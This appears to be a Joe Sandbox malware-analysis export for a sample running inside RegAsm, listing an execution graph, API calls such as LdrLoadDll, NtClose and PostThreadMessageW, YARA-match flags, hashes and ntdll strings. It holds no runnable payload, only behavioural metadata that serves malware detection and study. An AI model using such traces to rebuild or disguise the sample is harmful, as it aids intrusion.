                                execution_graph 76393 401920 76394 401935 76393->76394 76397 430663 76394->76397 76400 42eca3 76397->76400 76401 42ecc9 76400->76401 76412 4074f3 76401->76412 76403 42ecdf 76411 401a06 76403->76411 76415 41b9b3 76403->76415 76405 42ecfe 76406 42ed13 76405->76406 76430 42d3d3 76405->76430 76426 428b83 76406->76426 76409 42ed2d 76410 42d3d3 ExitProcess 76409->76410 76410->76411 76414 407500 76412->76414 76433 416d63 76412->76433 76414->76403 76416 41b9df 76415->76416 76457 41b8a3 76416->76457 76419 41ba24 76422 41ba40 76419->76422 76424 42d013 NtClose 76419->76424 76420 41ba0c 76421 41ba17 76420->76421 76463 42d013 76420->76463 76421->76405 76422->76405 76425 41ba36 76424->76425 76425->76405 76427 428be5 76426->76427 76429 428bf2 76427->76429 76471 418f03 76427->76471 76429->76409 76431 42d3f0 76430->76431 76432 42d401 ExitProcess 76431->76432 76432->76406 76434 416d7d 76433->76434 76436 416d96 76434->76436 76437 42da63 76434->76437 76436->76414 76438 42da7d 76437->76438 76439 42daac 76438->76439 76444 42c643 76438->76444 76439->76436 76445 42c65d 76444->76445 76451 3092c0a 76445->76451 76446 42c689 76448 42f0f3 76446->76448 76454 42d383 76448->76454 76450 42db25 76450->76436 76452 3092c1f LdrInitializeThunk 76451->76452 76453 3092c11 76451->76453 76452->76446 76453->76446 76455 42d39d 76454->76455 76456 42d3ae RtlFreeHeap 76455->76456 76456->76450 76458 41b8bd 76457->76458 76462 41b999 76457->76462 76466 42c6e3 76458->76466 76461 42d013 NtClose 76461->76462 76462->76419 76462->76420 76464 42d030 76463->76464 76465 42d041 NtClose 76464->76465 76465->76421 76467 42c6fd 76466->76467 76470 30935c0 LdrInitializeThunk 76467->76470 76468 41b98d 76468->76461 76470->76468 76473 418f2d 76471->76473 76472 41943b 76472->76429 76473->76472 76479 414553 76473->76479 76475 41905a 76475->76472 76476 42f0f3 RtlFreeHeap 76475->76476 76477 419072 76476->76477 76477->76472 76478 42d3d3 ExitProcess 76477->76478 76478->76472 76480 414573 76479->76480 76483 4145dc 76480->76483 76484 41bcc3 76480->76484 76483->76475 76485 41bce8 76484->76485 76491 42a323 76485->76491 76487 4145d2 76487->76475 76489 41bd19 76489->76487 76490 42f0f3 RtlFreeHeap 76489->76490 76496 41bb03 LdrInitializeThunk 76489->76496 76490->76489 76492 42a388 76491->76492 76493 42a3bb 76492->76493 76497 4143b3 76492->76497 76493->76489 76495 42a39d 76495->76489 76496->76489 76498 4143d8 76497->76498 76499 41438e 76497->76499 76502 42d2a3 76499->76502 76503 42d2c0 76502->76503 76506 3092c70 LdrInitializeThunk 76503->76506 76504 414395 76504->76495 76506->76504 76527 4301f3 76528 42f0f3 RtlFreeHeap 76527->76528 76529 430208 76528->76529 76530 430193 76531 4301a3 76530->76531 76532 4301a9 76530->76532 76535 42f1d3 76532->76535 76534 4301cf 76538 42d333 76535->76538 76537 42f1ee 76537->76534 76539 42d34d 76538->76539 76540 42d35e RtlAllocateHeap 76539->76540 76540->76537 76507 4252c3 76508 4252df 76507->76508 76509 425307 76508->76509 76510 42531b 76508->76510 76512 42d013 NtClose 76509->76512 76511 42d013 NtClose 76510->76511 76513 425324 76511->76513 76514 425310 76512->76514 76517 42f213 RtlAllocateHeap 76513->76517 76516 42532f 76517->76516 76541 425653 76545 42566c 76541->76545 76542 4256b7 76543 42f0f3 RtlFreeHeap 76542->76543 76544 4256c7 76543->76544 76545->76542 76546 4256fa 76545->76546 76548 4256ff 76545->76548 76547 42f0f3 RtlFreeHeap 76546->76547 76547->76548 76549 42c5f3 76550 42c610 76549->76550 76553 3092df0 LdrInitializeThunk 76550->76553 76551 42c638 76553->76551 76518 419703 76520 419733 76518->76520 76521 41975f 76520->76521 76522 41bba3 76520->76522 76523 41bbe7 76522->76523 76524 41bc08 76523->76524 76525 42d013 NtClose 76523->76525 76524->76520 76525->76524 76554 41ae53 76555 41ae6b 76554->76555 76557 41aec5 76554->76557 76555->76557 76558 41eda3 76555->76558 76559 41edc9 76558->76559 76563 41eec0 76559->76563 76564 430233 RtlAllocateHeap RtlFreeHeap 76559->76564 76561 41ee5e 76562 42c643 LdrInitializeThunk 76561->76562 76561->76563 76562->76563 76563->76557 76564->76561 76565 4148d3 76566 4148e7 76565->76566 76571 4180a3 76566->76571 76568 41490a 76569 414956 76568->76569 76570 414943 PostThreadMessageW 76568->76570 76570->76569 76572 4180c7 76571->76572 76573 418103 LdrLoadDll 76572->76573 76574 4180ce 76572->76574 76573->76574 76574->76568 76526 3092b60 LdrInitializeThunk

                                Executed Functions

                                Function 004180A3 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 89 4180a3-4180bf 90 4180c7-4180cc 89->90 91 4180c2 call 42fcd3 89->91 92 4180d2-4180e0 call 4302d3 90->92 93 4180ce-4180d1 90->93 91->90 96 4180f0-418101 call 42e773 92->96 97 4180e2-4180ed call 430573 92->97 102 418103-418117 LdrLoadDll 96->102 103 41811a-41811d 96->103 97->96 102->103
                                APIs
                                • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00418115
                                Memory Dump Source
                                • Source File: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd
                                Yara matches
                                Similarity
                                • API ID: Load
                                • String ID:
                                • API String ID: 2234796835-0
                                • Opcode ID: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
                                • Instruction ID: c02c63a21bb58a313d3679326d26fb60a3b1b758e2593d8b21b776bea80bbd0f
                                • Opcode Fuzzy Hash: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
                                • Instruction Fuzzy Hash: 990175B1E0010DB7DF10DBE1DC42FDEB7789B54304F0081AAE90897241F635EB598B55
                                Function 0042D013 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 114 42d013-42d04f call 4047d3 call 42e263 NtClose
                                APIs
                                • NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 0042D04A
                                Memory Dump Source
                                • Source File: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd
                                Yara matches
                                Similarity
                                • API ID: Close
                                • String ID:
                                • API String ID: 3535843008-0
                                • Opcode ID: e4ce4091241eec24c5bd569ec561ad06714509f5c34baa92d83dd8f40e52a6b3
                                • Instruction ID: 4dff9188035355cf9030b8de3bf756a9903a9956aadc859e3fb0c0e7d3b9b699
                                • Opcode Fuzzy Hash: e4ce4091241eec24c5bd569ec561ad06714509f5c34baa92d83dd8f40e52a6b3
                                • Instruction Fuzzy Hash: 40E026363002007BC210FA5ADC41F97736CEFC1710F40441AFA0967182C670791083F5
                                Function 030935C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 5a85138660e37d53e532ad1a9b02cc808d2199b75fe3813e6ba0aad2573319f3
                                • Instruction ID: 6ad42aa000f2681dfa977bb9d7ba1e4d17d711317d9ebf10dbb325cf126be43f
                                • Opcode Fuzzy Hash: 5a85138660e37d53e532ad1a9b02cc808d2199b75fe3813e6ba0aad2573319f3
                                • Instruction Fuzzy Hash: 17900271B0690802E100B1DC9514706144587E0201F65C411A0424568D87958A5165A2
                                Function 03092B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 128 3092b60-3092b6c LdrInitializeThunk
                                APIs
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 78c3b756e0cbef5bcd985e92b56d6d4a231b3893ff9d6ea9f2d9d6a1fac2cd39
                                • Instruction ID: f57441aa48abd3bcfdc278d24b964b751ec3e4a0672d7adbb248889a3ba76b9c
                                • Opcode Fuzzy Hash: 78c3b756e0cbef5bcd985e92b56d6d4a231b3893ff9d6ea9f2d9d6a1fac2cd39
                                • Instruction Fuzzy Hash: 929002A1703804035105B1DC9414616444A87F0201B55C021E1014590DC62589916125
                                Function 03092DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 130 3092df0-3092dfc LdrInitializeThunk
                                APIs
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 2818c24d186168eb06f922f8048b11f332e1b49866f53eee6118344d471f0b31
                                • Instruction ID: 7a3736e5fe267c2cf53097445167e01d99a8f4116be404d4027009868a4d34e4
                                • Opcode Fuzzy Hash: 2818c24d186168eb06f922f8048b11f332e1b49866f53eee6118344d471f0b31
                                • Instruction Fuzzy Hash: 9890027170280813E111B1DC9504707044987E0241F95C412A0424558D97568A52A121
                                Function 03092C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 129 3092c70-3092c7c LdrInitializeThunk
                                APIs
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: bc0f2bd64417e52702d1b0f8dd37cc0ab5f196aa58fc1c6671b4b7f0997cd9af
                                • Instruction ID: 9a5816b7c678b3034c470dba0753e2f0a46bb48daf06bc209f3eeb31dc14dd23
                                • Opcode Fuzzy Hash: bc0f2bd64417e52702d1b0f8dd37cc0ab5f196aa58fc1c6671b4b7f0997cd9af
                                • Instruction Fuzzy Hash: 6090027170288C02E110B1DCD40474A044587E0301F59C411A4424658D879589917121
                                Function 00414874 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65threadwindowCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                APIs
                                • PostThreadMessageW.USER32(u2-886N7n,00000111,00000000,00000000), ref: 00414950
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd
                                Yara matches
                                Similarity
                                • API ID: MessagePostThread
                                • String ID: u2-886N7n$u2-886N7n
                                • API String ID: 1836367815-1477970113
                                • Opcode ID: 71d2a8487c2b15b788415cba5b91b1825b55d754a2c65baf1fcaea219595b466
                                • Instruction ID: ec1427776fa7a0c7a07db97ea5d3a0c997a16ca617d2f26a2f1a74fffcf25326
                                • Opcode Fuzzy Hash: 71d2a8487c2b15b788415cba5b91b1825b55d754a2c65baf1fcaea219595b466
                                • Instruction Fuzzy Hash: 4D112972901258BAD721AAA0DC42FEE7B785FC1718F15405AFA007B240D7BC5A468B99
                                Function 004148D3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57threadwindowCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 22 4148d3-4148f1 call 42f193 26 4148f7-414941 call 4180a3 call 404743 call 425793 22->26 27 4148f2 call 42fba3 22->27 34 414963-414968 26->34 35 414943-414954 PostThreadMessageW 26->35 27->26 35->34 36 414956-414960 35->36 36->34
                                APIs
                                • PostThreadMessageW.USER32(u2-886N7n,00000111,00000000,00000000), ref: 00414950
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd
                                Yara matches
                                Similarity
                                • API ID: MessagePostThread
                                • String ID: u2-886N7n$u2-886N7n
                                • API String ID: 1836367815-1477970113
                                • Opcode ID: 5616015e309ea5de80b578ba74f365ce702ceca75d419c9c07813041361082f7
                                • Instruction ID: 8f0353747a51e513be91bbbed673d8d955ddf822c38de97a0dcad7205da5604e
                                • Opcode Fuzzy Hash: 5616015e309ea5de80b578ba74f365ce702ceca75d419c9c07813041361082f7
                                • Instruction Fuzzy Hash: CE01C471E41218B6DB2196A1CC02FEF7B7C9F81B14F454069BA047B281E6B86A0687A9
                                Function 0041485A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49threadwindowCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 37 41485a-4148bf 39 4148c1-4148c4 37->39 40 4148f7-414941 call 4180a3 call 404743 call 425793 37->40 39->40 47 414963-414968 40->47 48 414943-414954 PostThreadMessageW 40->48 48->47 49 414956-414960 48->49 49->47
                                APIs
                                • PostThreadMessageW.USER32(u2-886N7n,00000111,00000000,00000000), ref: 00414950
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd
                                Yara matches
                                Similarity
                                • API ID: MessagePostThread
                                • String ID: u2-886N7n$u2-886N7n
                                • API String ID: 1836367815-1477970113
                                • Opcode ID: 83bab085a23446f26c726f755912211ad6ac768456fcb7377fbd740020d1fa9d
                                • Instruction ID: 3d25ade00ce12835eab5d484ac67049c771ce772f1cdd9b6978886c5cbf4360a
                                • Opcode Fuzzy Hash: 83bab085a23446f26c726f755912211ad6ac768456fcb7377fbd740020d1fa9d
                                • Instruction Fuzzy Hash: 7501DB72E41258B6DB219660DC01FEF7B789FC1B14F118056FA047B284D7BC5A4687E9
                                Function 0042D333 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 104 42d333-42d374 call 4047d3 call 42e263 RtlAllocateHeap
                                APIs
                                • RtlAllocateHeap.NTDLL(?,0041EE5E,?,?,00000000,?,0041EE5E,?,?,?), ref: 0042D36F
                                Memory Dump Source
                                • Source File: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd
                                Yara matches
                                Similarity
                                • API ID: AllocateHeap
                                • String ID:
                                • API String ID: 1279760036-0
                                • Opcode ID: 47f9beb941636e76541a917d33dfc2e6fe1a4e8707d9eee1bb3cb836e656807e
                                • Instruction ID: 4b037cf7a0527d725cabe7a6c6ab534df6edaa3c2ba69c6032754e135e8d0ecd
                                • Opcode Fuzzy Hash: 47f9beb941636e76541a917d33dfc2e6fe1a4e8707d9eee1bb3cb836e656807e
                                • Instruction Fuzzy Hash: 4DE06DB1304214BBC610EE9ADC41E9B33ADEFC9710F400419F909A7281D670B92086B9
                                Function 0042D383 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 109 42d383-42d3c4 call 4047d3 call 42e263 RtlFreeHeap
                                APIs
                                • RtlFreeHeap.NTDLL(00000000,00000004,00000000,75C6C5D4,00000007,00000000,00000004,00000000,0041792C,000000F4), ref: 0042D3BF
                                Memory Dump Source
                                • Source File: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd
                                Yara matches
                                Similarity
                                • API ID: FreeHeap
                                • String ID:
                                • API String ID: 3298025750-0
                                • Opcode ID: 4a4f7bae8e4d89fa6954fdd35993cb4b311fbda0223e580d4231f85ed5842d5b
                                • Instruction ID: 6850fe5e7009e617f11a338b3b67eaa29f5c666ad6d89f1863cb80b12c880f94
                                • Opcode Fuzzy Hash: 4a4f7bae8e4d89fa6954fdd35993cb4b311fbda0223e580d4231f85ed5842d5b
                                • Instruction Fuzzy Hash: 1DE06DB1704214BFD614EE59EC81FDB73ACEFC5714F00401AF919A7241C670B91486B5
                                Function 0042D3D3 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 119 42d3d3-42d40f call 4047d3 call 42e263 ExitProcess
                                APIs
                                • ExitProcess.KERNEL32(?,00000000,00000000,?,EDBB59ED,?,?,EDBB59ED), ref: 0042D40A
                                Memory Dump Source
                                • Source File: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd
                                Yara matches
                                Similarity
                                • API ID: ExitProcess
                                • String ID:
                                • API String ID: 621844428-0
                                • Opcode ID: cd393607ca02f30839fe1c5277799fd9f49d42add3f4678eccf4acd70823f370
                                • Instruction ID: e035b84b3be77a7abe4ad085f66b03f90d51f5e5aa51d94bea0692b5447c657a
                                • Opcode Fuzzy Hash: cd393607ca02f30839fe1c5277799fd9f49d42add3f4678eccf4acd70823f370
                                • Instruction Fuzzy Hash: 77E086316002147BD120EA5ADC41FDB776CDFC5714F00401AFA1D67142C771B91087F5
                                Function 03092C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 124 3092c0a-3092c0f 125 3092c1f-3092c26 LdrInitializeThunk 124->125 126 3092c11-3092c18 124->126
                                APIs
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 2bcb19666ee307c38e3defe088030996553f94cde5ce27ce4e7ba745eec5c2ce
                                • Instruction ID: 1b44982ae9062c7d80fa020e90303db859e69f63c1198453c4fe8d641b5b1eb0
                                • Opcode Fuzzy Hash: 2bcb19666ee307c38e3defe088030996553f94cde5ce27ce4e7ba745eec5c2ce
                                • Instruction Fuzzy Hash: 2AB09BB1D079C9D5FE51E7A456087177D4467D0701F19C462D2030651F4739D1D1F175

                                Non-executed Functions

                                Function 030D2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                • API String ID: 0-2160512332
                                • Opcode ID: 7f04d476c286920a5bc93195903e4c3efe684457e22454c8da29eed3d6123d1e
                                • Instruction ID: f0583a3c31c77ef56e65ff0cdda0c37302e8b8ccab7b3093255c91b5bf042dfe
                                • Opcode Fuzzy Hash: 7f04d476c286920a5bc93195903e4c3efe684457e22454c8da29eed3d6123d1e
                                • Instruction Fuzzy Hash: F6925B7560A341AFD725DE24C880BABB7ECBF88754F084D2DFA959B250D770E844CB92
                                Function 03088620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                                Download Yara Rule
                                Strings
                                • Critical section address., xrefs: 030C5502
                                • Critical section address, xrefs: 030C5425, 030C54BC, 030C5534
                                • undeleted critical section in freed memory, xrefs: 030C542B
                                • Address of the debug info found in the active list., xrefs: 030C54AE, 030C54FA
                                • Invalid debug info address of this critical section, xrefs: 030C54B6
                                • Thread is in a state in which it cannot own a critical section, xrefs: 030C5543
                                • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 030C54CE
                                • Critical section debug info address, xrefs: 030C541F, 030C552E
                                • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 030C540A, 030C5496, 030C5519
                                • corrupted critical section, xrefs: 030C54C2
                                • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 030C54E2
                                • Thread identifier, xrefs: 030C553A
                                • 8, xrefs: 030C52E3
                                • double initialized or corrupted critical section, xrefs: 030C5508
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                                • API String ID: 0-2368682639
                                • Opcode ID: f5de3f55594b27a43b9d08816a409afd20eee998d1ee89f02436c913254b5066
                                • Instruction ID: 6aa0a968fab56b53efd59622bfe60561298de640271997baa6bf09813decdd26
                                • Opcode Fuzzy Hash: f5de3f55594b27a43b9d08816a409afd20eee998d1ee89f02436c913254b5066
                                • Instruction Fuzzy Hash: 2F81BEB4A02348AFDB20CF95CC40BAEBBF9FB4A714F148159F518BB641D371A944CB64
                                Function 031012ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
                                • API String ID: 0-3591852110
                                • Opcode ID: b9a8c6793882eccc5cfe8f21f96a258586aab0b4aa1ebf668d3c0654ba1d48b0
                                • Instruction ID: 37783ae5b53189dc11fb54e11afbb0d24edd1a01ed74b4399425fa1d354b345a
                                • Opcode Fuzzy Hash: b9a8c6793882eccc5cfe8f21f96a258586aab0b4aa1ebf668d3c0654ba1d48b0
                                • Instruction Fuzzy Hash: C212A078600641EFD729CF68C481BBAFBE5FF09714F098469E4968B691D7B8E980CB50
                                Function 0304D34C Relevance: 11.6, Strings: 9, Instructions: 312COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
                                • API String ID: 0-3532704233
                                • Opcode ID: c353db71cda7126cc69a635ee9fcbbcbf313d38922924071e0bec91a701a2ac3
                                • Instruction ID: cdd440c345cea6f9f618726383f2146a991ea6273ca95f694b98fd26c144506d
                                • Opcode Fuzzy Hash: c353db71cda7126cc69a635ee9fcbbcbf313d38922924071e0bec91a701a2ac3
                                • Instruction Fuzzy Hash: FEB1BEB150A3159FCB61DF68C480A6FB7E8AF88754F05497EF889DB241D730DA44CB92
                                Function 030E9179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
                                • API String ID: 0-3063724069
                                • Opcode ID: 2b2a12e5c405edb68a40c45b20bfb3a840b0382229647944bf3c9faee84e3ff4
                                • Instruction ID: 1d59efcdedce07780b3a52b9f06f11dcb96fd142056f7b79ce85f6a3eece7c68
                                • Opcode Fuzzy Hash: 2b2a12e5c405edb68a40c45b20bfb3a840b0382229647944bf3c9faee84e3ff4
                                • Instruction Fuzzy Hash: C0D1E3B2A07315AFD721DB64C840BAFB7ECAFC4714F04492AFA949B250D778C9048BD2
                                Function 03100274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                • API String ID: 0-1700792311
                                • Opcode ID: 7b119442cc64b93e9dd081f56d3cf12828bdb04b5933630c4ef8978fad36665f
                                • Instruction ID: aed140c2c5e36126a2165d16ee3eac09d5d48b744640202d1206f9eddf65d5d3
                                • Opcode Fuzzy Hash: 7b119442cc64b93e9dd081f56d3cf12828bdb04b5933630c4ef8978fad36665f
                                • Instruction Fuzzy Hash: 69D19A79501685EFCB16EFA8C440BADFBF1EF8E710F088059E4959B692CBB4D981CB14
                                Function 0304D08D Relevance: 10.2, Strings: 8, Instructions: 249COMMON
                                Download Yara Rule
                                Strings
                                • Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 0304D262
                                • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 0304D2C3
                                • @, xrefs: 0304D313
                                • @, xrefs: 0304D2AF
                                • Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 0304D146
                                • \Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 0304D0CF
                                • Control Panel\Desktop\LanguageConfiguration, xrefs: 0304D196
                                • @, xrefs: 0304D0FD
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
                                • API String ID: 0-1356375266
                                • Opcode ID: 9db3676f4e4b9840e2fcf434c1f66f1656db0041eb4f7a22a9bdf705f3af9e30
                                • Instruction ID: a61cc672e045b79a9520ebc460684bb11216801a7182753c5b72031f6269a7ab
                                • Opcode Fuzzy Hash: 9db3676f4e4b9840e2fcf434c1f66f1656db0041eb4f7a22a9bdf705f3af9e30
